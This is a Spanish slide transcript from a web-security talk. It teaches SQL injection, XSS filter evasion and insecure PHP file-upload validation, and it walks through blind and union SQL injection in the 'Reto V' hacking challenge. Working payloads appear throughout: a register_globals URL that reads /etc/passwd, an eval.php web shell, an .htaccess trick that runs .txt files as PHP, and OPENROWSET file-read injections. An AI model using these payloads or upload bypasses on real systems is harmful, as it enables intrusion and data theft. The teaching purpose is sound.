asegúr@it ii - seguridad en web
TRANSCRIPT
- 1. Cuidado con lo que te comes Jose Palazn (a.k.a. palako)
- 2. ' or 1=1--
- Hay vida despus de ' ?
-
- SQL Injection
-
- parametros numericos
-
- utf-* y unicode
-
- /**/
-
- blind sql injection
-
- blind con consultas pesadas
- 3.
- Y si filtro
- javascript:
- style href=javascript:
- style href= http://ha.ckhers.org/xss.css
- style expression()
- style url()
- Cheat Sheet:http://ha.ckers.org/xss.html
- httpOnly? XST
- 4. Que ms?
- Remote File Inclusion
- Local File Inclusion
- Script code Execution
- Shell code Execution
- Full Path Disclosure
- * injection
- Parameter restrictions bypass
- 5.
- WebAppSecurity/admin/documentos.php
- 6. globals if ( $doc ) { echo "Nuevo documento
aadido
" ; echo "tmp: ".$doc."" ; echo "Nombre: ".$doc_name."" ; echo "Tipo: ".$doc_type."" ; echo "Tamao: ".$doc_size."" ; copy ( $doc ,$docsPath . $doc_name ); } - 7. globals
- $doc puede venir por GET, POST,....
- ?doc=/etc/passwd&doc_name=passwd
- http://localhost/~palako/WebAppSecurity/admin/documentos.php?doc=/etc/passwd&doc_name=passwd
- 8. $_FILES if ( $_FILES ) { echo "Nuevo documento
aadido
" ; echo "tmp: ".$_FILES [ "doc" ][ "tmp_name" ] ."" ; echo "Nombre: ".$_FILES [ "doc" ][ "name" ] ."" ; echo "Tipo: ".$_FILES [ "doc" ][ "type" ] ."" ; echo "Tamao: ".$_FILES [ "doc" ][ "size" ] . "" ; if ( is_uploaded_file ( $_FILES [ "doc" ][ "tmp_name" ])) move_uploaded_file ( $_FILES [ "doc" ][ "tmp_name" ],$docsPath . $_FILES [ "doc" ][ "name" ]); else echo "
ERROR: No se puede acceder al fichero
" ; } - 9. Sin filtros
- Se puede subir cualquier tipo de fichero
-
- eval.php
- http://localhost/~palako/WebAppSecurity/admin/docs/eval.php?command=passthru('uname-a');
-
- LFI: cat /etc/passwd
-
- Source code disclosure: cat documentos.php
- 10. $FILES[doc][type] function tipoValido( $type ) { $tiposValidos =array ('image/jpeg' , 'image/gif', 'image/png', 'image/bmp', 'application/pdf' , 'text/plain' ); return ( in_array ( $type ,$tiposValidos )); }
- 11. $_FILES[doc][type]
- POST tampering
- Cambiar HTTP Content-type en la peticin
- 12. mime_content_type function tipoValido2( $doc ) { $tiposValidos =array ('image/jpeg' , 'image/gif', 'image/png', 'image/bmp', 'application/pdf' , 'text/plain' ); return ( in_array ( trim ( mime_content_type ( $doc )), $tiposValidos )); }
- 13. mime_content_type
- magic numbers
- el comando file
- /usr/share/file/magic(.mime)
-
- /usr/share/misc en linux
- 0stringGIFimage/gif
- 0beshort0xffd8image/jpeg
- 14. $files[doc][name] functionextensionValida( $docName ) { $extensionesProhibidas =array ('php' , ); $partes=split ( "." ,$docName ); if( count ( $partes )>1) return (! in_array ( $partes [1], $extensionesProhibidas )); return ( false ); }
- 15. extensiones prohibidas
- .inc, .php5
- Solo filtras lo que TU conoces
- Mejor permitir lo conocido como bueno
- 16. eregi() functionextensionValida2( $docName ) { $extensionesValidas =array ('jpg' , 'gif', 'png', 'bmp', 'pdf' , 'txt' ); foreach ( $extensionesValidas as $ext ) if ( eregi ( $ext ,$docName )) return ( true ); return ( false );}
- 17. eregi()
- Extension valida en cualquier parte del fichero
- Es muy dificil hacer un buen filtro con expresiones regulares
- Bloqueos no deseados
- 18. extensiones permitidas functionextensionValida3( $docName ) { $extensionesValidas =array ('jpg' , 'gif', 'png', 'bmp', 'pdf' , 'txt' ); $partes=split ( "." ,$docName ); if( count ( $partes )>1) return ( in_array ( $partes [1],$extensionesValidas )); return ( false ); }
- 19. extensiones permitidas
- Mas de un punto en el nombre del fichero
- A veces no se pueden filtrar todas las extensiones permitidas
-
- ej. attachements en un webmail
- 20. que tiene de malo un .txt? functionextensionValida4( $docName ) { $extensionesProhibidas =array ('php' , 'php3' , 'php4' , 'php5' , 'inc' , 'shtml' ); $partes=split ( "." ,$docName ); if( count ( $partes )>1) return (! in_array ( $partes [ count ( $partes )-1], $extensionesProhibidas )); return ( false ); }
- 21. Que tiene de malo un .txt?
- AllowOverride FileInfo
- AllowOverride All
- .htaccess
-
- AddType application/x-httpd-php .php .txt
-
- eval.txt
- 22. Vivimos para los retos hacking Reto V. Fase II.
- 23. Reto V. Fase II.
- http://retohacking5.elladodelmal.com/privado/Nivel2.aspx
- La inscripcion en el mono
- ho pdsd txh wh oohydud d uhvroyhu ho sxcoh vh hqfxhqwud hq od fdushwd uhfxuvrv gh od xqlgdg sulqflsdo
- Desplazamiento 4 a la izquierda
- el mapa que te ayudara a resolver el puzle se encuentra en la carpeta recursos de la unidad principal
- 24. Reto V. Fase II.
- Blind sqlinjection
- ObtenerDatosPaso2.aspx?idObjeto=1
-
- contenido=No pienso agacharme a coger ese objeto
- ObtenerDatosPaso2.aspx?idObjeto=1%20and%201=1--
-
- contenido=No pienso agacharme a coger ese objeto
- ObtenerDatosPaso2.aspx?idObjeto=1%20and%201=2--
-
- contenido=No conozco el objeto
- 25. Reto V. Fase II
- Tablas y columnas
- 1%20union%20select%201--
-
- contenido=No pienso agacharme a coger ese objeto
- 1%20union%20select%201,1--
-
- contenido=
- 1%20union%20select%201%20from%20INFORMATION_SCHEMA.TABLES--
-
- contenido=
- 1%20union%20select%201%20from%20sysobjects--
-
- contenido=No pienso agacharme a coger ese objeto
- 1%20union%20select%201%20from%20syscolumns--
-
- contenido=No pienso agacharme a coger ese objeto
- 26. Reto V. Fase II
- -1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name='objetos';--
-
- contenido=No pienso agacharme a coger ese objeto
- -1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20%3C%20'objetos';--
-
- contenido=No conozco el objeto
- -1%20%20union%20select%201%20from%20sysobjects%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20%3E%20'objetos';--
-
- contenido=No conozco el objeto
- 27. Reto V. Fase II
- -1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name='id';--
-
- contenido=No pienso agacharme a coger ese objeto
- -1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name%3C'id';--
-
- contenido=No conozco el objeto
- 1%20%20union%20select%201%20from%20sysobjects,syscolumns%20where%20sysobjects.xtype%20=%20'u'%20and%20sysobjects.name%20=%20'objetos'%20and%20syscolumns.name%3E'id';--
-
- contenido=No conozco el objeto
- 28. Reto V. Fase II
- OPENROWSET
- http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=-1%20union%20select%201%20where%20@@version%20like%20'microsoft%20sql%20server%202005%20-%209.00.1399.06%20_intel%20x86_%20_%'--
- microsoft sql server 2005 - 9.00.1399.06_intel x86_
- http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=1;SELECT%20*%20FROM%20OPENROWSET(BULK%20'c: ecursosmapa.jpg',%20SINGLE_BLOB)%20AS%20Document);--
- http://retohacking5.elladodelmal.com/privado/ObtenerDatosPaso2.aspx?idObjeto=1%20and%20(len((SELECT%20*%20FROM%20OPENROWSET(BULK%20'c: ecursosmapa.jpg',%20SINGLE_BLOB)%20AS%20Document))=3675);--
- Ver exploit retoV_F2.pl